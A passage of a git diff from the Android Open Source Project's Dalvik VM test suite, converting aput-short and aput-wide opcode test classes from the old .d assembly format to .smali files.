+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_short_3.java"
+.class  public Ldot/junit/opcodes/aput_short/d/T_aput_short_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([SIJ)V
+.registers 11
+
+
+       aput-short v9, v7, v8
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_4.d
deleted file mode 100644
index 24b2d92..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_short_4.java
-.class public dot.junit.opcodes.aput_short.d.T_aput_short_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;IS)V
-.limit regs 10
-
-
-       aput-short v9, v7, v8
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_4.smali
new file mode 100644
index 0000000..2becd7d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_short_4.java"
+.class  public Ldot/junit/opcodes/aput_short/d/T_aput_short_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;IS)V
+.registers 10
+
+
+       aput-short v9, v7, v8
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_5.d
deleted file mode 100644
index 4a9dabc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_short_5.java
-.class public dot.junit.opcodes.aput_short.d.T_aput_short_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([DIS)V
-.limit regs 10
-
-
-       aput-short v9, v7, v8
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_5.smali
new file mode 100644
index 0000000..6ed3b0d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_short_5.java"
+.class  public Ldot/junit/opcodes/aput_short/d/T_aput_short_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([DIS)V
+.registers 10
+
+
+       aput-short v9, v7, v8
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_6.d
deleted file mode 100644
index ed8cfd3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_short_6.java
-.class public dot.junit.opcodes.aput_short.d.T_aput_short_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([JIS)V
-.limit regs 10
-
-
-       aput-short v9, v7, v8
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_6.smali
new file mode 100644
index 0000000..351c804
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_short_6.java"
+.class  public Ldot/junit/opcodes/aput_short/d/T_aput_short_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JIS)V
+.registers 10
+
+
+       aput-short v9, v7, v8
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_7.d
deleted file mode 100644
index 9927025..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_7.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_short_7.java
-.class public dot.junit.opcodes.aput_short.d.T_aput_short_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([SIS)V
-.limit regs 10
-
-       aput-short v9, v7, v6
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_7.smali
new file mode 100644
index 0000000..960e94a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_7.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_short_7.java"
+.class  public Ldot/junit/opcodes/aput_short/d/T_aput_short_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([SIS)V
+.registers 10
+
+       aput-short v9, v7, v6
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_8.d
deleted file mode 100644
index 099de06..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_8.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_short_8.java
-.class public dot.junit.opcodes.aput_short.d.T_aput_short_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([SFS)V
-.limit regs 11
-
-       aput-short v10, v8, v9
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_8.smali
new file mode 100644
index 0000000..fec3a71
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_8.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_short_8.java"
+.class  public Ldot/junit/opcodes/aput_short/d/T_aput_short_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([SFS)V
+.registers 11
+
+       aput-short v10, v8, v9
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_9.d
deleted file mode 100644
index 46efab3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_9.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_short_9.java
-.class public dot.junit.opcodes.aput_short.d.T_aput_short_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([SIS)V
-.limit regs 11
-
-       aput-short v11, v8, v9
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_9.smali
new file mode 100644
index 0000000..0f4f827
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_short/d/T_aput_short_9.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_short_9.java"
+.class  public Ldot/junit/opcodes/aput_short/d/T_aput_short_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([SIS)V
+.registers 11
+
+       aput-short v11, v8, v9
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_1.d
deleted file mode 100644
index 2890417..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_wide_1.java
-.class public dot.junit.opcodes.aput_wide.d.T_aput_wide_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([JIJ)V
-.limit regs 14
-
-       aput-wide v12, v10, v11
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_1.smali
new file mode 100644
index 0000000..baa5c67
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_wide_1.java"
+.class  public Ldot/junit/opcodes/aput_wide/d/T_aput_wide_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JIJ)V
+.registers 14
+
+       aput-wide v12, v10, v11
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_10.d
deleted file mode 100644
index bf314a2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_10.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_wide_10.java
-.class public dot.junit.opcodes.aput_wide.d.T_aput_wide_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([JIJ)V
-.limit regs 14
-
-       aput-wide v14, v10, v11
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_10.smali
new file mode 100644
index 0000000..58f46eb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_10.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_wide_10.java"
+.class  public Ldot/junit/opcodes/aput_wide/d/T_aput_wide_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JIJ)V
+.registers 14
+
+       aput-wide v14, v10, v11
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_2.d
deleted file mode 100644
index 793338f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_wide_2.java
-.class public dot.junit.opcodes.aput_wide.d.T_aput_wide_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([DID)V
-.limit regs 14
-
-       aput-wide v12, v10, v11
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_2.smali
new file mode 100644
index 0000000..3870d44
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_2.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_wide_2.java"
+.class  public Ldot/junit/opcodes/aput_wide/d/T_aput_wide_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([DID)V
+.registers 14
+
+       aput-wide v12, v10, v11
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_3.d
deleted file mode 100644
index 4486392..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_3.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_wide_3.java
-.class public dot.junit.opcodes.aput_wide.d.T_aput_wide_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([JDJ)V
-.limit regs 14
-
-       aput-wide v12, v9, v10
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_3.smali
new file mode 100644
index 0000000..c709c96
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_3.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_wide_3.java"
+.class  public Ldot/junit/opcodes/aput_wide/d/T_aput_wide_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JDJ)V
+.registers 14
+
+       aput-wide v12, v9, v10
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_4.d
deleted file mode 100644
index 980724f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_wide_4.java
-.class public dot.junit.opcodes.aput_wide.d.T_aput_wide_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([JII)V
-.limit regs 14
-
-       aput-wide v13, v11, v12
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_4.smali
new file mode 100644
index 0000000..5cd755f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_wide_4.java"
+.class  public Ldot/junit/opcodes/aput_wide/d/T_aput_wide_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JII)V
+.registers 14
+
+       aput-wide v13, v11, v12
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_5.d
deleted file mode 100644
index f4d3354..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_wide_5.java
-.class public dot.junit.opcodes.aput_wide.d.T_aput_wide_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;IJ)V
-.limit regs 14
-
-       aput-wide v12, v10, v11
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_5.smali
new file mode 100644
index 0000000..a19c7a5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_wide/d/T_aput_wide_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_wide_5.java"
+.class  public Ldot/junit/opcodes/aput_wide/d/T_aput_wide_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;IJ)V
+.registers 14
+
+       aput-wide v12, v10, v11
+       return-void
+.end method
+
+
